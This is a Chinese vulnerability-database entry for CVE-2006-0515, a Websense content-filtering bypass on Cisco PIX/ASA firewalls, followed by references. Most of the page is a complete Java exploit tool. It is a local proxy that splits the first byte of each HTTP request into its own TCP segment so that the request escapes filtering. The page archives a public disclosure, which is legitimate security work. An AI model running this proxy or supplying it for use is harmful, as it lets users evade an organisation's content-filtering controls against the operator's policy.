Cisco PIX/ASA WebSense 内容过滤绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110232 漏洞类型 设计错误
发布时间 2006-05-08 更新时间 2006-05-09
CVE编号 CVE-2006-0515 CNNVD-ID CNNVD-200605-173
漏洞平台 Hardware CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/27830
https://www.securityfocus.com/bid/17883
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-173
|漏洞详情
CiscoPIX是非常流行的网络防火墙,FWSM是Cisco设备上的防火墙服务模块。CiscoPIX和其他一些Cisco过滤设备在同WebsenseEnterprise集成共同处理拆分报文的方式存在漏洞,攻击者可以利用此漏洞绕过Websense的内容检查过滤。对于每个HTTP请求,CiscoPIX或其他Cisco设备都要将每个报文转发给Websense以判断是否应该允许该请求。但是,如果将HTTP请求拆分为两个或多个报文的话,就可能绕过过滤机制。此外,Websense没有记录使用上述碎片方式的请求,也就是没有将请求发送给Websense进行策略检查。利用这个漏洞的最简单的方式是拆分出HTTP请求的第一个字符,其他数据使用单个TCP报文(比如为每个报文设置PSH标签)。
|漏洞EXP
source: http://www.securityfocus.com/bid/17883/info

Multiple Cisco products are susceptible to a content-filtering bypass vulnerability. This issue is due to a failure of the software to properly recognize HTTP request traffic.

This issue allows users to bypass content-filtering and access forbidden websites.

Cisco is tracking this issue as Bug IDs CSCsc67612, CSCsc68472, and CSCsd81734.http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsd81734

// Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved

// Disclaimer: Use this tool at your own risk. The author of this utility 
// nor Virtual Security Research, LLC. will assume any liability for damage 
// caused by running this code. This utility is provided for educational 
// purposes only.

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;

class WebsenseBypassProxyConnection implements Runnable {
    Socket csock;
    Socket ssock;
    static int count = 0;
    WebsenseBypassProxy wbp;
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
	this.csock = csock;
	this.wbp = parent;
    }
    private StringBuffer GetHeader(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	do {
	    i = istream.read();
	    if (i == -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	} while ((!out.toString().endsWith("\r\n\r\n")) &&
		 (!out.toString().endsWith("\n\n")));
	return (new StringBuffer(out.toString()));
    }
    private HashMap GetHeaderParam(StringBuffer header) {
	HashMap h = new HashMap();
	int i=0;
	try {
	    if ((i=header.toString().indexOf("\n")) > 0) {
		StringTokenizer stok =
		    new StringTokenizer(header.toString().substring(i),
					":\r\n", true);
		try {
		    while(stok.hasMoreTokens()) {
			// Get name value pair
			String tok = stok.nextToken(":").trim().toLowerCase();
			stok.nextToken();
			String tokval = stok.nextToken("\r\n").trim();
			h.put(tok, tokval);
			//System.out.println("n, v: "+tok +", "+tokval);
		    }
		} catch(NoSuchElementException e) {
		}
	    }
	} catch (Exception e) {
	}
	return(h);
    }
    private StringBuffer GetReqBody(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	while (!(out.toString().endsWith("\r\n\r\n") ||
		 out.toString().endsWith("\n\n"))) {
	    
	    i = istream.read();
	    if (i== -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	}
	return (new StringBuffer(out.toString()));
    }
    public void run() {
	Socket ssock = null;
	InputStream clientIn = null;
	BufferedOutputStream clientOut = null;
	InputStream serverIn = null;
	BufferedOutputStream serverOut = null;
	int i=0;
	int ch=-1,r0=-1,r1=-1;
	try {
	    clientIn = csock.getInputStream();
	    clientOut = new BufferedOutputStream(csock.getOutputStream());
	    StringBuffer buf = GetHeader(clientIn);
	    int idx = buf.indexOf("Proxy-Connection:");
	    int eol = buf.indexOf("\r\n", idx+18);
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Connection: close");
	    }
	    // And we should just make our lives easy and change keep-alives
	    // to close.
	    idx = -1;
	    eol = -1;
	    
	    idx = buf.indexOf("Keep-Alive:");
	    eol = buf.indexOf("\r\n",idx+11);
	    
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Keep-Alive: close");
	    }

	    HashMap h = GetHeaderParam(buf);
	    StringTokenizer st = new StringTokenizer(buf.toString());
	    String reqtype = st.nextToken().toUpperCase();
	    URL req = new URL(st.nextToken());
	    String remotehost = req.getHost();
	    int remoteport = req.getPort();
	    if (remoteport == -1) {
		remoteport = 80;
	    }
	    
	    // change the target to remove the host and protocol
	    idx = -1;
	    int end = -1;
	
	    idx = buf.indexOf(reqtype + " "+ req.toString());
	    end = idx + (reqtype+" "+req.toString()).length();
	
	    //System.out.println("Request and URL Idx: "+idx+" , end: "+end);
	    if ((idx >= 0) && (end > 0)) {
		buf = buf.replace(idx, end, reqtype+" "+
				  req.getPath().toString());
	    }
	    wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
	    //System.out.println(">> "+reqtype+" "+req.getPath().toString());
	    ssock = new Socket(remotehost,remoteport);
	    //StringBuffer buf2 = GetReqBody(clientIn);
	
	    StringReader sr = new StringReader(buf.toString());

	    serverIn = ssock.getInputStream();
	    serverOut = new BufferedOutputStream(ssock.getOutputStream());
	    while ((ch = sr.read()) != -1) {
		serverOut.write(ch);
		if (i == 0) {
		    // Flush out the first byte
		    serverOut.flush();
		}
		i++;
	    }
	    serverOut.flush();
	    while ((ch = serverIn.read()) != -1) {
		clientOut.write(ch);
	    }
	    wbp.displayMessage(">>XX>> Server stream closed\n");
	    //System.out.println(">>XX>> Server stream closed");
	    clientOut.flush();
	    // just added
	    csock.shutdownOutput();
	    ssock.close();
	    csock.close();
	    ssock.close();
	    csock.close();
	} catch (Exception e) {
	    e.printStackTrace(System.err);
	}
    }
}

public class WebsenseBypassProxy extends JFrame {
    private Object lock = new Object();
    private JTextArea displayArea;

    public WebsenseBypassProxy() {
	super("Websense Filter Bypass Proxy 1.0");
	displayArea = new JTextArea();
	add(new JScrollPane(displayArea), BorderLayout.CENTER);
	setSize(400, 250);
	setVisible(true);
	displayArea.setEditable(false);
    }

    void start (int lport) {
	WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
	wbp.lport = lport;
	Thread listener = new Thread(wbp);
	listener.start();
	displayMessage("Starting proxy listener on port: "+lport+"\n");
	//System.out.println("Starting proxy listener on port: "+lport);
    }
    void shutdown() {
    	synchronized(lock) {
	}
    }
    public void displayMessage( final String messageToDisplay ) {
      SwingUtilities.invokeLater(
         new Runnable() {
            public void run()  {
               displayArea.append( messageToDisplay );
            } 
         }  
      ); 
    }
    public void run(int lport) {
	ServerSocket lsock;
	try {
	    lsock = new ServerSocket(lport);
	    for (;;) {
		try {
		    Socket s;
		    s = lsock.accept();
		    WebsenseBypassProxyConnection wbpc =
			new WebsenseBypassProxyConnection(s, this);
		    Thread t = new Thread(wbpc);
		    t.start();
		} catch (IOException e) {
		    System.out.print(e.toString());
		    return;
		}
	    }
	} catch (Exception e) {
	    System.out.print(e.toString());
	}
	
    }
    public static void main(String[] argv) {
	if (argv.length != 1) {
	    System.err.println(
			   "Usage:\n\t java WebsenseBypassProxy <portnum>\n");
	} else {
	    try {
		int localport = Integer.parseInt(argv[0]);
		WebsenseBypassProxy wbp = new WebsenseBypassProxy();
		wbp.start(localport);
	    } catch (Exception e) {
		e.printStackTrace(System.err);
	    }
	}
    }
}

class WebsenseBypassProxyListener implements Runnable {
    WebsenseBypassProxy p;
    public int lport;
    public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
	this.p = p;
    }
    public void run() {
	p.run(lport);
    }
}
|受影响的产品
Cisco PIX/ASA 7.0.4 .3 Cisco PIX/ASA 7.0.4 Cisco PIX/ASA 7.0.1 .4 Cisco PIX/ASA 7.0 Cisco PIX Firewall 525 6.3 Cisco PIX Firewall 6.3.3 (133) Cisco PIX Fire
|参考资料

来源:MISC
链接:http://www.vsecurity.com/bulletins/advisories/2006/cisco-websense-bypass.txt
来源:BUGTRAQ
名称:20060508VSRAdvisory:WebSensecontentfilterbypasswhendeployedinconjunctionwithCiscofilteringdevices
链接:http://www.securityfocus.com/archive/1/archive/1/433270/100/0/threaded
来源:BID
名称:17883
链接:http://www.securityfocus.com/bid/17883
来源:VUPEN
名称:ADV-2006-1738
链接:http://www.frsirt.com/english/advisories/2006/1738
来源:SECTRACK
名称:1016040
链接:http://securitytracker.com/id?1016040
来源:SECTRACK
名称:1016039
链接:http://securitytracker.com/id?1016039
来源:SECUNIA
名称:20044
链接:http://secunia.com/advisories/20044
来源:XF
名称:cisco-websense-content-filtering-bypass(26308)
链接:http://xforce.iss.net/xforce/xfdb/26308
来源:OSVDB
名称:25453
链接:http://www.osvdb.org/25453
来源:CISCO
名称:20060508PIX/ASA/FWSMWebsense/N2H2ContentFilterBypass
链接:http://www.cisco.com/en/US/products/sw/netmgtsw/ps2032/tsd_products_security_response09186a00806824ec.html
来源:FULLDISC
名称:20060508VSRAdvisory:WebSensecontentfilterbypasswhendeployedinco